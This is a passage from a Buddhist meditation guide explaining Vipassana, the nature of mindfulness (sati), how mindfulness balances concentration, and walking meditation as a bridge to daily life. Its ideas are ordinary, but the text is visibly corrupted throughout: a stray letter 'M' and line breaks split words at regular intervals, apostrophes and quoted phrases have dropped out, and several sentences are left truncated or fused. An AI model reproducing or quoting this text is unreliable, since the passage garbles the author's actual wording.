s injunction. It is the toughest job that you will ever undertake. You will find yourself relatively willing to apply this technique to certain parts of your experience, and you will find yourself totally unwilling to use it on the other parts.
Meditation is a bit like mental acid. It eats away slowly at whatever you put it on. We humans are very odd beings. We like the taste of certain poisons and we stubbornly continue to eat them even while they are killing us. Thoughts to which we are attached are poison. YoM
u will find yourself quite eager to dig some thoughts out by the roots while you jealously guard and cherish certain others. That is the human condition.
Vipassana meditation is not a game. Clear awareness is more than a pleasurable pastime. It is a road up and out of the quagmire in which we are all stuck, the swamp of our own desires and aversions. It is relatively easy to apply awareness to the nastier aspects of your existence. Once you have seen fear and depression evaporate in the hot, intense beacon of awM
areness, you want to repeat the process. Those are the unpleasant mental states. They hurt. You want to get rid of those things because they bother you. It is a good deal harder to apply that same process to mental states which you cherish, like patriotism, or parental protectiveness or true love. But it is just as necessary. Positive attachments hold you in the mud just as assuredly as negative attachments. You may rise above the mud far enough to breathe a bit more easily if you practice Vipassana meditation withM
 diligence. Vipassana meditation is the road to Nibbana. And from the reports of those who have toiled their way to that lofty goal, it is well worth every effort involved.
XIII) MINDFULNESS (SATI)
Mindfulness is the English translation of the Pali word Sati. Sati is an activity. What exactly is that? There can be no precise answer, at least not in words. Words are devised by the symbolic levels of the mind and they describe those realities with which symbolic thinking deals. Mindfulness is pre-symbolic. ItM
 is not shackled to logic. Nevertheless, Mindfulness can be experienced
 and it can be described, as long as you keep in mind that the words are only fingers pointing at the moon. They are not the thing itself. The actual experience lies beyond the words and above the symbols. Mindfulness could be describes in completely different terms than will be used here and each description could still be correct.
Mindfulness is a subtle process that you are using at this very moment. The fact that thiM
s process lies above and beyond words does not make it unreal
quite the reverse. Mindfulness is the reality which gives rise to words
the words that follow are simply pale shadows of reality. So, it is important to understand that everything that follows here is analogy. It is not going to make perfect sense. It will always remain beyond verbal logic. But you can experience it. The meditation technique called Vipassana (insight) that was introduced by the Buddha about twenty-five centuries ago is a set of mentaM
l activities specifically aimed at experiencing a state of uninterrupted Mindfulness.
When you first become aware of something, there is a fleeting instant of pure awareness just before you conceptualize the thing, before you identify it. That is a stage of Mindfulness. Ordinarily, this stage is very short. It is that flashing split second just as you focus your eyes on the thing, just as you focus your mind on the thing, just before you objectify it, clamp down on it mentally and segregate it from the rest of eM
xistence. It takes place just before you start thinking about it
before your mind says,
 That flowing, soft-focused moment of pure awareness is Mindfulness. In that brief flashing mind-moment you experience a thing as an un-thing. You experience a softly flowing moment of pure experience that is interlocked with the rest of reality, not separate from it. Mindfulness is very much like what you see with your peripheral vision as opposed to the hard focus of normal or central vision. Yet this M
moment of soft, unfocused, awareness contains a very deep sort of knowing that is lost as soon as you focus your mind and objectify the object into a thing. In the process of ordinary perception, the Mindfulness step is so fleeting as to be unobservable. We have developed the habit of squandering our attention on all the remaining steps, focusing on the perception, recognizing the perception, labeling it, and most of all, getting involved in a long string of symbolic thought about it. That original moment of MindfuM
lness is rapidly passed over. It is the purpose of the above mentioned Vipassana (or insight) meditation to train us to prolong that moment of awareness.
When this Mindfulness is prolonged by using proper techniques, you find that this experience is profound and it changes your entire view of the universe. This state of perception has to be learned, however, and it takes regular practice. Once you learn the technique, you will find that Mindfulness has many interesting aspects.
The Characteristics of MindfulnM
Mindfulness is mirror-thought. It reflects only what is presently happening and in exactly the way it is happening. There are no biases.
Mindfulness is non-judgmental observation. It is that ability of the mind to observe without criticism. With this ability, one sees things without condemnation or judgment. One is surprised by nothing. One simply takes a balanced interest in things exactly as they are in their natural states. One does not decide and does not judge. One just observes. Please note that whM
One does not decide and does not judge,
 what we mean is that the meditator observes experiences very much like a scientist observing an object under the microscope without any preconceived notions, only to see the object exactly as it is. In the same way the meditator notices impermanence, unsatisfactoriness and selflessness.
It is psychologically impossible for us to objectively observe what is going on within us if we do not at the same time accept the occurrence of our various states of mind. M
This is especially true with unpleasant states of mind. In order to observe our own fear, we must accept the fact that we are afraid. We can
t examine our own depression without accepting it fully. The same is true for irritation and agitation, frustration and all those other uncomfortable emotional states. You can
t examine something fully if you are busy reflecting its existence. Whatever experience we may be having, Mindfulness just accepts it. It is simply another of life
s occurrences, just another thingM
 to be aware of. No pride, no shame, nothing personal at stake
what is there, is there.
Mindfulness is an impartial watchfulness. It does not take sides. It does not get hung up in what is perceived. It just perceives. Mindfulness does not get infatuated with the good mental states. It does not try to sidestep the bad mental states. There is no clinging to the pleasant, no fleeing from the unpleasant. Mindfulness sees all experiences as equal, all thoughts as equal, all feelings as equal. Nothing is suppressedM
. Nothing is repressed. Mindfulness does not play favorites.
Mindfulness is non-conceptual awareness. Another English term for Sati is
. It is not thinking. It does not get involved with thought or concepts. It does not get hung up on ideas or opinions or memories. It just looks. Mindfulness registers experiences, but it does not compare them. It does not label them or categorize them. It just observes everything as if it was occurring for the first time. It is not analysis which is based on M
reflection and memory. It is, rather, the direct and immediate experiencing of whatever is happening, without the medium of thought. It comes before thought in the perceptual process.
Mindfulness is present time awareness. It takes place in the here and now. It is the observance of what is happening right now, in the present moment. It stays forever in the present, surging perpetually on the crest of the ongoing wave of passing time. If you are remembering your second-grade teacher, that is memory. When you thenM
 become aware that you are remembering your second-grade teacher, that is mindfulness. If you then conceptualize the process and say to yourself,
Oh, I am remembering
Mindfulness is non-egoistic alertness. It takes place without reference to self. With Mindfulness one sees all phenomena without references to concepts like
. For example, suppose there is pain in your left leg. Ordinary consciousness would say,
 Using Mindfulness, one wouM
ld simply note the sensation as a sensation. One would not tack on that extra concept
. Mindfulness stops one from adding anything to perception, or subtracting anything from it. One does not enhance anything. One does not emphasize anything. One just observes exactly what is there
Mindfulness is goal-less awareness. In Mindfulness, one does not strain for results. One does not try to accomplish anything. When one is mindful, one experiences reality in the present moment in whatever M
form it takes. There is nothing to be achieved. There is only observation.
Mindfulness is awareness of change. It is observing the passing flow of experience. It is watching things as they are changing. it is seeing the birth, growth, and maturity of all phenomena. It is watching phenomena decay and die. Mindfulness is watching things moment by moment, continuously. It is observing all phenomena
physical, mental or emotional
whatever is presently taking place in the mind. One just sits back and watches the sM
how. Mindfulness is the observance of the basic nature of each passing phenomenon. It is watching the thing arising and passing away. It is seeing how that thing makes us feel and how we react to it. It is observing how it affects others. In Mindfulness, one is an unbiased observer whose sole job is to keep track of the constantly passing show of the universe within. Please note that last point. In Mindfulness, one watches the universe within. The meditator who is developing Mindfulness is not concerned with the exM
ternal universe. It is there, but in meditation, one
s field of study is one
s own experience, one
s perceptions. In meditation, one is one
s own laboratory. The universe within has an enormous fund of information containing the reflection of the external world and much more. An examination of this material leads to total freedom.
Mindfulness is participatory observation. The meditator is both participant and observer at one and the same time. If one watches one
s emotions or physical sensations, one is feeling them at that very same moment. Mindfulness is not an intellectual awareness. It is just awareness. The mirror-thought metaphor breaks down here. Mindfulness is objective, but it is not cold or unfeeling. It is the wakeful experience of life, an alert participation in the ongoing process of living.
Mindfulness is an extremely difficult concept to define in words
 not because it is complex, but because it is too simple and open. The same problem crops up in everM
y area of human experience. The most basic concept is always the most difficult to pin down. Look at a dictionary and you will see a clear example. Long words generally have concise definitions, but for short basic words like
, definitions can be a page long. And in physics, the most difficult functions to describe are the most basic
those that deal with the most fundamental realities of quantum mechanics. Mindfulness is a pre-symbolic function. You can play with word symbols all day long anM
d you will never pin it down completely. We can never fully express what it is. However, we can say what it does.
Three Fundamental Activities:
There are three fundamental activities of Mindfulness. We can use these activities as functional definitions of the term: (1) Mindfulness reminds us of what we are supposed to be doing; (2) it sees things as they really are; and (3) it sees the deep nature of all phenomena. Let
s examine these definitions in greater detail.
(1) Mindfulness reminds you of what youM
 are supposed to be doing.
In meditation, you put your attention on one item. When your mind wanders from this focus, it is Mindfulness that reminds you that your mind is wandering and what you are supposed to be doing. It is Mindfulness that brings your mind back to the object of meditation. All of this occurs instantaneously and without internal dialogue. Mindfulness is not thinking. Repeated practice in meditation establishes this function as a mental habit which then carries over into the rest of your life. M
A serious meditator pays bare attention to occurrences all the time, day in, day out, whether formally sitting in meditation or not. This is a very lofty ideal towards which those who meditate may be working for a period of years or even decades. Our habit of getting stuck in thought is years old, and that habit will hang on in the most tenacious manner. The only way out is to be equally persistent in the cultivation of constant Mindfulness. When Mindfulness is present, you will notice when you become stuck in yourM
 thought patterns. It is that very noticing which allows you to back out of the thought process and free yourself from it. Mindfulness then returns your attention to its proper focus. If you are meditating at that moment, then your focus will be the formal object of meditation. If you are not in formal meditation, it will be just a pure application of bare attention itself, just a pure noticing of whatever comes up without getting involved
and now this, and now this
indfulness is at one and the same time both bare attention itself and the function of reminding us to pay bare attention if we have ceased to do so. Bare attention is noticing. It re- establishes itself simply by noticing that it has not been present. As soon as you are noticing that you have not been noticing, then by definition you are noticing and then you are back again to paying bare attention.
Mindfulness creates its own distinct feeling in consciousness. It has a flavor
a light, clear, energetic flavor.M
 Conscious thought is heavy by comparison, ponderous and picky. But here again, these are just words. Your own practice will show you the difference. Then you will probably come up with your own words and the words used here will become superfluous. Remember, practice is the thing.
(2) Mindfulness sees things as they really are.
Mindfulness adds nothing to perception and it subtracts nothing. It distorts nothing. It is bare attention and just looks at whatever comes up. Conscious thought pastes things over ouM
r experience, loads us down with concepts and ideas, immerses us in a churning vortex of plans and worries, fears and fantasies. When mindful, you don
t play that game. You just notice exactly what arises in the mind, then you notice the next thing.
 It is really very simple.
(3) Mindfulness sees the true nature of all phenomena.
Mindfulness and only Mindfulness can perceive the three prime characteristics that Buddhism teaches are the deepest truths of existence. InM
 Pali these three are called Anicca (impermanence), Dukkha (unsatisfactoriness), and Anatta (selflessness
the absence of a permanent, unchanging, entity that we call Soul or Self). These truths are not present in Buddhist teaching as dogmas demanding blind faith. The Buddhists feel that these truths are universal and self-evident to anyone who cares to investigate in a proper way. Mindfulness is the method of investigation. Mindfulness alone has the power to reveal the deepest level of reality available to human M
observation. At this level of inspection, one sees the following: (a) all conditioned things are inherently transitory; (b) every worldly thing is, in the end, unsatisfying; and (c) there are really no entities that are unchanging or permanent, only processes.
Mindfulness works like and electron microscope. That is, it operates on so fine a level that one can actually see directly those realities which are at best theoretical constructs to the conscious thought process. Mindfulness actually sees the impermanent M
character of every perception. It sees the transitory and passing nature of everything that is perceived. It also sees the inherently unsatisfactory nature of all conditioned things. It sees that there is no sense grabbing onto any of these passing shows. Peace and happiness cannot be found that way. And finally, Mindfulness sees the inherent selflessness of all phenomena. It sees the way that we have arbitrarily selected a certain bundle of perceptions, chopped them off from the rest of the surging flow of experieM
nce and then conceptualized them as separate, enduring, entities. Mindfulness actually sees these things. It does not think about them, it sees them directly.
When it is fully developed, Mindfulness sees these three attributes of existence directly, instantaneously, and without the intervening medium of conscious thought. In fact, even the attributes which we just covered are inherently unified. They don
t really exist as separate items. They are purely the result of our struggle to take this fundamentally simM
ple process called Mindfulness and express it in the cumbersome and inadequate thought symbols of the conscious level. Mindfulness is a process, but it does not take place in steps. It is a holistic process that occurs as a unit: you notice your own lack of Mindfulness; and that noticing itself is a result of Mindfulness; and Mindfulness is bare attention; and bare attention is noticing things exactly as they are without distortion; and the way they are is impermanent (Anicca), unsatisfactory (Dukkha), and selflessM
 (Anatta). It all takes place in the space of a few mind-moments. This does not mean, however, that you will instantly attain liberation (freedom from all human weaknesses) as a result of your first moment of Mindfulness. Learning to integrate this material into your conscious life is another whole process. And learning to prolong this state of Mindfulness is still another. They are joyous processes, however, and they are well worth the effort.
Mindfulness (Sati) and Insight (Vipassana) Meditation:
s is the center of Vipassana Meditation and the key to the whole process. It is both the goal of this meditation and the means to that end. You reach Mindfulness by being ever more mindful. One other Pali word that is translated into English as Mindfulness is Appamada , which means non-negligence or an absence of madness. One who attends constantly to what is really going on in one
s mind achieves the state of ultimate sanity.
The Pali term Sati also bears the connotation of remembering. It is not memory in thM
e sense of ideas and pictures from the past, but rather clear, direct, wordless knowing of what is and what is not, of what is correct and what is incorrect, of what we are doing and how we should go about it. Mindfulness reminds the meditator to apply his attention to the proper object at the proper time and to exert precisely the amount of energy needed to do the job. When this energy is properly applied, the meditator stays constantly in a state of calm and alertness. As long as this condition is maintained, thoM
se mind-states call
there is no greed, no hatred, no lust or laziness. But we all are human and we do err. Most of us err repeatedly. Despite honest effort, the meditator lets his Mindfulness slip now and then and he finds himself stuck in some regrettable, but normal, human failure. It is Mindfulness that notices that change. And it is Mindfulness that reminds him to apply the energy required to pull himself out. These slips happen over and over, but theirM
 frequency decreases with practice. Once Mindfulness has pushed these mental defilements aside, more wholesome states of mind can take their place. Hatred makes way for loving-friendliness, lust is replaced by detachment. It is Mindfulness which notices this change, too, and which reminds the Vipassana meditator to maintain that extra little mental sharpness needed to keep these more desirable states of mind. Mindfulness makes possible the growth of wisdom and compassion. Without Mindfulness they cannot develop to M
Deeply buried in the mind, there lies a mental mechanism which accepts what the mind perceives as beautiful and pleasant experiences and rejects those experiences which are perceived as ugly and painful. This mechanism gives rise to those states of mind which we are training ourselves to avoid
things like greed, lust, hatred, aversion, and jealousy. We choose to avoid these hindrances, not because they are evil in the normal sense of the word, but because they are compulsive; because they take tM
he mind over and capture the attention completely; because they keep going round and round in tight little circles of thought; and because they seal us off from living reality.
These hindrances cannot arise when Mindfulness is present. Mindfulness is attention to present time reality, and therefore, directly antithetical to the dazed state of mind which characterizes impediments. As meditators, it is only when we let our Mindfulness slip that the deep mechanisms of our mind take over
 grasping, clinging and rM
ejecting. Then resistance emerges and obscures our awareness. We do not notice that the change is taking place
 we are too busy with a thought of revenge, or greed, whatever it may be. While an untrained person will continue in this state indefinitely, a trained meditator will soon realize what is happening. It is Mindfulness that notices the change. It is Mindfulness that remembers the training received and that focuses our attention so that the confusion fades away. And it is Mindfulness that then attempts to M
maintain itself indefinitely so that the resistance cannot arise again. Thus, Mindfulness is the specific antidote for hindrances. It is both the cure and the preventive measure.
Fully developed Mindfulness is a state of total non-attachment and utter absence of clinging to anything in the world. If we can maintain this state, no other means or device is needed to keep ourselves free of obstructions, to achieve liberation from our human weaknesses. Mindfulness is non-superficial awareness. It sees things deeply,M
 down below the level of concepts and opinions. This sort of deep observation leads to total certainty, and complete absence of confusion. It manifests itself primarily as a constant and unwavering attention which never flags and never turns away.
This pure and unstained investigative awareness not only holds mental hindrances at bay, it lays bare their very mechanism and destroys them. Mindfulness neutralizes defilements in the mind. The result is a mind which remains unstained and invulnerable, completely unafM
fected by the ups and downs of life.
XIV) MINDFULNESS VERSUS CONCENTRATION
Vipassana meditation is something of a mental balancing act. You are going to be cultivating two separate qualities of the mind
mindfulness and concentration. Ideally these two work together as a team. They pull in tandem, so to speak. Therefore it is important to cultivate them side-by-side and in a balanced manner. If one of the factors is strengthened at the expense of the other, the balance of the mind is lost and meditation imM
Concentration and mindfulness are distinctly different functions. They each have their role to play in meditation, and the relationship between them is definite and delicate. Concentration is often called one-pointedness of mind. It consists of forcing the mind to remain on one static point. Please note the word FORCE.
Concentration is pretty much a forced type of activity. It can be developed by force, by sheer unremitting willpower. And once developed, it retains some of that forced flavor. MindfuM
lness, on the other hand, is a delicate function leading to refined sensibilities. These two are partners in the job of meditation. Mindfulness is the sensitive one. He notices things. Concentration provides the power. He keeps the attention pinned down to one item. Ideally, mindfulness is in this relationship. Mindfulness picks the objects of attention, and notices when the attention has gone astray. Concentration does the actual work of holding the attention steady on that chosen object. If either of these partneM
rs is weak, your meditation goes astray.
Concentration could be defined as that faculty of the mind which focuses single mindedly on one object without interruption. It must be emphasized that true concentration is a wholesome one-pointedness of mind. That is, the state is free from greed, hatred and delusion. Unwholesome one-pointedness is also possible, but it will not lead to liberation. You can be very single-minded in a state of lust. But that gets you nowhere. Uninterrupted focus on something that you hateM
 does not help you at all. In fact, such unwholesome concentration is fairly short-lived even when it is achieved
especially when it is used to harm others. True concentration itself is free from such contaminants. It is a state in which the mind is gathered together and thus gains power and intensity. We might use the analogy of a lens. Parallel waves of sunlight falling on a piece of paper will do no more than warm the surface. But the same amount of light, when focused through a lens, falls on a single point aM
nd the paper bursts into flames. Concentration is the lens. It produces the burning intensity necessary to see into the deeper reaches of the mind. Mindfulness selects the object that the lens will focus on and looks through the lens to see what is there.
Concentration should be regarded as a tool. Like any tool, it can be used for good or for ill. A sharp knife can be used to create a beautiful carving or to harm someone. It is all up to the one who uses the knife. Concentration is similar. Properly used, it caM
n assist you towards liberation. But it can also be used in the service of the ego. It can operate in the framework of achievement and competition. You can use concentration to dominate others. You can use it to be selfish. The real problem is that concentration alone will not give you a perspective on yourself. It won
t throw light on the basic problems of selfishness and the nature of suffering. It can be used to dig down into deep psychological states. But even then, the forces of egotism won
. Only mindfulness can do that. If mindfulness is not there to look into the lens and see what has been uncovered, then it is all for nothing. Only mindfulness understands. Only mindfulness brings wisdom. Concentration has other limitations, too.
Really deep concentration can only take place under certain specific conditions. Buddhists go to a lot of trouble to build meditation halls and monasteries. Their main purpose is to create a physical environment free of distractions in which to learn this skill. No noisM
e, no interruptions. Just as important, however, is the creation of a distraction-free emotional environment. The development of concentration will be blocked by the presence of certain mental states which we call the five hindrances. They are greed for sensual pleasure, hatred, mental lethargy, restlessness, and mental vacillation. We have examined these mental states more fully in Chapter 12.
A monastery is a controlled environment where this sort of emotional noise is kept to a minimum. No members of the oppoM
site sex are allowed to live together there. Therefore, there is less opportunity for lust. No possessions are allowed. Therefore, no ownership squabbles and less chance for greed and coveting. Another hurdle for concentration should also be mentioned. In really deep concentration, you get so absorbed in the object of concentration that you forget all about trifles. Like your body, for instance, and your identity and everything around you. Here again the monastery is a useful convenience. It is nice to know that thM
ere is somebody to take care of you by watching over all the mundane matters of food and physical security. Without such assurance, one hesitates to go as deeply into concentration as one might.
Mindfulness, on the other hand, is free from all these drawbacks. Mindfulness is not dependent on any such particular circumstance, physical or otherwise. It is a pure noticing factor. Thus it is free to notice whatever comes up
lust, hatred, or noise. Mindfulness is not limited by any condition. It exists to some exteM
nt in every moment, in every circumstance that arises. Also, mindfulness has no fixed object of focus. It observes change. Thus it has an unlimited number of objects of attention. It just looks at whatever is passing through the mind and it does not categorize. Distractions and interruptions are noticed with the same amount of attention as the formal objects of meditation. In a state of pure mindfulness your attention just flows along with whatever changes are taking place in the mind.
Shift, shift, shift. Now tM
his, now this, and now this.
t develop mindfulness by force. Active teeth gritting willpower won
t do you any good at all. As a matter of fact, it will hinder progress. Mindfulness cannot be cultivated by struggle. It grows by realizing, by letting go, by just settling down in the moment and letting yourself get comfortable with whatever you are experiencing. This does not mean that mindfulness happens all by itself. Far from it. Energy is required. Effort is required. But this effort is differentM
 from force. Mindfulness is cultivated by a gentle effort, by effortless effort. The meditator cultivates mindfulness by constantly reminding himself in a gentle way to maintain his awareness of whatever is happening right now. Persistence and a light touch are the secrets. Mindfulness is cultivated by constantly pulling oneself back to a state of awareness, gently, gently, gently.
t be used in any selfish way, either. It is non-egoistic alertness. There is no
 in a state of pure mindfuM
lness. So there is no self to be selfish. On the contrary, it is mindfulness which gives you the real perspective on yourself. It allows you to take that crucial mental step backward from your own desires and aversions so that you can then look and say,
In a state of mindfulness, you see yourself exactly as you are. You see your own selfish behavior. You see your own suffering. And you see how you create that suffering. You see how you hurt others. You pierce right throuM
gh the layer of lies that you normally tell yourself and you see what is really there. Mindfulness leads to wisdom.
Mindfulness is not trying to achieve anything. It is just looking. Therefore, desire and aversion are not involved. Competition and struggle for achievement have no place in the process. Mindfulness does not aim at anything. It just sees whatever is already there.
Mindfulness is a broader and larger function than concentration. it is an all-encompassing function. Concentration is exclusive. It sM
ettles down on one item and ignores everything else. Mindfulness is inclusive. It stands back from the focus of attention and watches with a broad focus, quick to notice any change that occurs. If you have focused the mind on a stone, concentration will see only the stone. Mindfulness stands back from this process, aware of the stone, aware of the concentration focusing on the stone, aware of the intensity of that focus and instantly aware of the shift of attention when concentration is distracted. It is mindfulnesM
s which notices the distraction which has occurred, and it is mindfulness which redirects the attention to the stone. Mindfulness is more difficult to cultivate than concentration because it is a deeper-reaching function. Concentration is merely focusing of the mind, rather like a laser beam. It has the power to burn its way deep into the mind and illuminate what is there. But it does not understand what it sees. Mindfulness can examine the mechanics of selfishness and understand what it sees. Mindfulness can piercM
e the mystery of suffering and the mechanism of discomfort. Mindfulness can make you free.
There is, however, another Catch-22. Mindfulness does not react to what it sees. It just sees and understands. Mindfulness is the essence of patience. Therefore, whatever you see must be simply accepted, acknowledged and dispassionately observed. This is not easy, but it is utterly necessary. We are ignorant. We are selfish and greedy and boastful. We lust and we lie. These are facts. Mindfulness means seeing these facts aM
nd being patient with ourselves, accepting ourselves as we are. That goes against the grain. We don
t want to accept. We want to deny it. Or change it, or justify it. But acceptance is the essence of mindfulness. If we want to grow in mindfulness we must accept what mindfulness finds. It may be boredom, irritation, or fear. It may be weakness, inadequacy, or faults. Whatever it is, that is the way we are. That is what is real.
Mindfulness simply accepts whatever is there. If you want to grow in mindfulness, paM
tient acceptance is the only route. Mindfulness grows only one way: by continuous practice of mindfulness, by simply trying to be mindful, and that means being patient. The process cannot be forced and it cannot be rushed. It proceeds at its own pace.
Concentration and mindfulness go hand-in-hand in the job of meditation. Mindfulness directs the power of concentration. Mindfulness is the manager of the operation. Concentration furnishes the power by which mindfulness can penetrate into the deepest level of the mM
ind. Their cooperation results in insight and understanding. These must be cultivated together in a balanced ratio. Just a bit more emphasis is given to mindfulness because mindfulness is the center of meditation. The deepest levels of concentration are not really needed to do the job of liberation. Still, a balance is essential. Too much awareness without calm to balance it will result in a wildly over sensitized state similar to abusing LSD. Too much concentration without a balancing ratio of awareness will resulM
 syndrome. The meditator gets so tranquilized that he sits there like a rock. Both of these are to be avoided.
The initial stages of mental cultivation are especially delicate. Too much emphasis on mindfulness at this point will actually retard the development of concentration. When getting started in meditation, one of the first things you will notice is how incredibly active the mind really is. The Theravada tradition calls this phenomenon
. The Tibetan tradition likM
ens it to a waterfall of thought. If you emphasize the awareness function at this point, there will be so much to be aware of that concentration will be impossible. Don
t get discouraged. This happens to everybody. And there is a simple solution. Put most of your effort into one-pointedness at the beginning. Just keep calling the attention from wandering over and over again. Tough it out. Full instructions on how to do this are in Chapters 7 and 8. A couple of months down the track and you will have developed conM
centration power. Then you can start pumping you energy into mindfulness. Do not, however, go so far with concentration that you find yourself going into a stupor.
Mindfulness still is the more important of the two components. It should be built as soon as you comfortably can do so. Mindfulness provides the needed foundation for the subsequent development of deeper concentration. Most blunders in this area of balance will correct themselves in time. Right concentration develops naturally in the wake of strong miM
ndfulness. The more you develop the noticing factor, the quicker you will notice the distraction and the quicker you will pull out of it and return to the formal object of attention. The natural result is increased concentration. And as concentration develops, it assists the development of mindfulness. The more concentration power you have, the less chance there is of launching off on a long chain of analysis about the distraction. You simply note the distraction and return your attention to where it is supposed toM
Thus the two factors tend to balance and support each other
s growth quite naturally. Just about the only rule you need to follow at this point is to put your effort on concentration at the beginning, until the monkey mind phenomenon has cooled down a bit. After that, emphasize mindfulness. If you find yourself getting frantic, emphasize concentration. If you find yourself going into a stupor, emphasize mindfulness. Overall, mindfulness is the one to emphasize.
Mindfulness guides your development in meM
ditation because mindfulness has the ability to be aware of itself. It is mindfulness which will give you a perspective on your practice. Mindfulness will let you know how you are doing. But don
t worry too much about that. This is not a race. You are not in competition with anybody, and there is no schedule.
One of the most difficult things to learn is that mindfulness is not dependent on any emotional or mental state. We have certain images of meditation. Meditation is something done in quiet caves by tranquM
il people who move slowly. Those are training conditions. They are set up to foster concentration and to learn the skill of mindfulness. Once you have learned that skill, however, you can dispense with the training restrictions, and you should. You don
t need to move at a snail
s pace to be mindful. You don
t even need to be calm. You can be mindful while solving problems in intensive calculus. You can be mindful in the middle of a football scrimmage. You can even be mindful in the midst of a raging fury. MenM
tal and physical activities are no bar to mindfulness. If you find your mind extremely active, then simply observe the nature and degree of that activity. It is just a part of the passing show within.
XV) MEDITATION IN EVERYDAY LIFE
Every musician plays scales. When you begin to study the piano, that
s the first thing you learn, and you never stop playing scales. The finest concert pianists in the world still play scales. It
s a basic skill that can
t be allowed to get rusty.
Every baseball player M
practices batting. It
s the first thing you learn in Little League, and you never stop practicing. Every World Series game begins with batting practice. Basic skills must always remain sharp.
Seated meditation is the arena in which the meditator practices his own fundamental skills. The game the meditator is playing is the experience of his own life, and the instrument upon which he plays is his own sensory apparatus. Even the most seasoned meditator continues to practice seated meditation, because it tunes anM
d sharpens the basic mental skills he needs for his particular game. We must never forget, however, that seated meditation itself is not the game. It
s the practice. The game in which those basic skills are to be applied is the rest of one
s experiential existence. Meditation that is not applied to daily living is sterile and limited.
The purpose of Vipassana meditation is nothing less than the radical and permanent transformation of your entire sensory and cognitive experience. It is meant to revolutionize M
the whole of your life experience. Those periods of seated practice are times set aside for instilling new mental habits. You learn new ways to receive and understand sensation. You develop new methods of dealing with conscious thought, and new modes of attending to the incessant rush of your own emotions. These new mental behaviors must be made to carry over into the rest of your life.
Otherwise, meditation remains dry and fruitless, a theoretical segment of your existence that is unconnected to all the rest. SM
ome effort to connect these two segments is essential. A certain amount of carry-over will take place spontaneously, but the process will be slow and unreliable. You are very likely to be left with the feeling that you are getting nowhere and to drop the process as unrewarding.
One of the most memorable events in your meditation career is the moment when you first realize that you are meditation in the midst of some perfectly ordinary activity. You are driving down the freeway or carrying out the trash and it juM
st turns on by itself. This unplanned outpouring of the skills you have been so carefully fostering is a genuine joy. It gives you a tiny window on the future. You catch a spontaneous glimpse of what the practice really means. The possibility strikes you that this transformation of consciousness could actually become a permanent feature of your experience. You realize that you could actually spend the rest of your days standing aside from the debilitating clamoring of your own obsessions, no longer frantically hounM
ded by your own needs and greed. You get a tiny taste of what it is like to just stand aside and watch it all flow past. It
That vision is liable to remain unfulfilled, however, unless you actively seek to promote the carry-over process. The most important moment in meditation is the instant you leave the cushion. When your practice session is over, you can jump up and drop the whole thing, or you can bring those skills with you into the rest of your activities.
It is crucial for you to unM
derstand what meditation is. It is not some special posture, and it
s not just a set of mental exercises. Meditation is a cultivation of mindfulness and the application of that mindfulness once cultivated. You do not have to sit to meditate. You can meditate while washing the dishes. You can meditate in the shower, or roller skating, or typing letters. Meditation is awareness, and it must be applied to each and every activity of one
We specifically cultivate awareness through the sM
eated posture in a quiet place because that
s the easiest situation in which to do so. Meditation in motion is harder. Meditation in the midst of fast-paced noisy activity is harder still. And meditation in the midst of intensely egoistic activities like romance or arguments is the ultimate challenge. The beginner will have his hands full with less stressful activities.
Yet the ultimate goal of practice remains: to build one
s concentration and awareness to a level of strength that will remain unwavering eveM
n in the midst of the pressures of life in contemporary society. Life offers many challenges and the serious meditator is very seldom bored.
Carrying your meditation into the events of your daily life is not a simple process. Try it and you will see. That transition point between the end of your meditation session and the beginning of
s too long for most of us. We find our calm and concentration evaporating within minutes, leaving us apparently no better off than before. In oM
rder to bridge this gulf, Buddhists over the centuries have devised an array of exercises aimed at smoothing the transition. They take that jump and break it down into little steps. Each step can be practiced by itself.
1. Walking Meditation
Our everyday existence is full of motion and activity. Sitting utterly motionless for hours on end is nearly the opposite of normal experience. Those states of clarity and tranquility we foster in the midst of absolute stillness tend to dissolve as soon as we move. We neeM
d some transitional exercise that will teach us the skill of remaining calm and aware in the midst of motion. Walking meditation helps us make that transition from static repose to everyday life. It
s meditation in motion, and it is often used as an alternative to sitting. Walking is especially good for those times when you are extremely restless. An hour of walking meditation will often get you through that restless energy and still yield considerable quantities of clarity. You can then go on to the seated meditM
ation with greater profit.
Standard Buddhist practice advocates frequent retreats to complement your daily sitting practice. A retreat is a relatively long period of time devoted exclusively to meditation. One or two day retreats are common for lay people. Seasoned meditators in a monastic situation may spend months at a time doing nothing else. Such practice is rigorous, and it makes sizable demands on both mind and body. Unless you have been at it for several years, there is a limit to how long you can sit andM
 profit. Ten solid hours of the seated posture will produce in most beginners a state of agony that far exceeds their concentration powers. A profitable retreat must therefore be conducted with some change of posture and some movement. The usual pattern is to intersperse blocks of sitting with blocks of walking meditation. An hour of each with short breaks between is common.
To do the walking meditation, you need a private place with enough space for at least five to ten paces in a straight line. You are going tM
o be walking back and forth very slowly, and to the eyes of most Westerners, you
ll look curious and disconnected from everyday life. This is not the sort of exercise you want to perform on the front lawn where you
ll attract unnecessary attention. Choose a private place.
The physical directions are simple. Select an unobstructed area and start at one end. Stand for a minute in an attentive position. Your arms can be held in any way that is comfortable, in front, in back, or at your sides. Then while breathiM
ng in, lift the heel of one foot. While breathing out, rest that foot on its toes. Again while breathing in, lift that foot, carry it forward and while breathing out, bring the foot down and touch the floor. Repeat this for the other foot. Walk very slowly to the opposite end, stand for one minute, then turn around very slowly, and stand there for another minute before you walk back. Then repeat the process. Keep your head up and you neck relaxed. Keep your eyes open to maintain balance, but don
g in particular. Walk naturally. Maintain the slowest pace that is comfortable, and pay no attention to your surroundings. Watch out for tensions building up in the body, and release them as soon as you spot them. Don
t make any particular attempt to be graceful. Don
t try to look pretty. This is not an athletic exercise, or a dance. It is an exercise in awareness. Your objective is to attain total alertness, heightened sensitivity and a full, unblocked experience of the motion of walking. Put all of your attenM
tion on the sensations coming from the feet and legs. Try to register as much information as possible about each foot as it moves. Dive into the pure sensation of walking, and notice every subtle nuance of the movement. Feel each individual muscle as it moves. Experience every tiny change in tactile sensation as the feet press against the floor and then lift again.
Notice the way these apparently smooth motions are composed of complex series of tiny jerks. Try to miss nothing. In order to heighten your sensitiviM
ty, you can break the movement down into distinct components. Each foot goes through a lift, a swing; and then a down tread. Each of these components has a beginning, middle, and end. In order to tune yourself in to this series of motions, you can start by making explicit mental notes of each stage.
Make a mental note of
lifting, swinging, coming down, touching floor, pressing
 and so on. This is a training procedure to familiarize you with the sequence of motions and to make sure that you don
 As you become more aware of the myriad subtle events going on, you won
t have time for words. You will find yourself immersed in a fluid, unbroken awareness of motion. The feet will become your whole universe. If your mind wanders, note the distraction in the usual way, then return your attention to walking. Don
t look at your feet while you are doing all of this, and don
t walk back and forth watching a mental picture of your feet and legs. Don
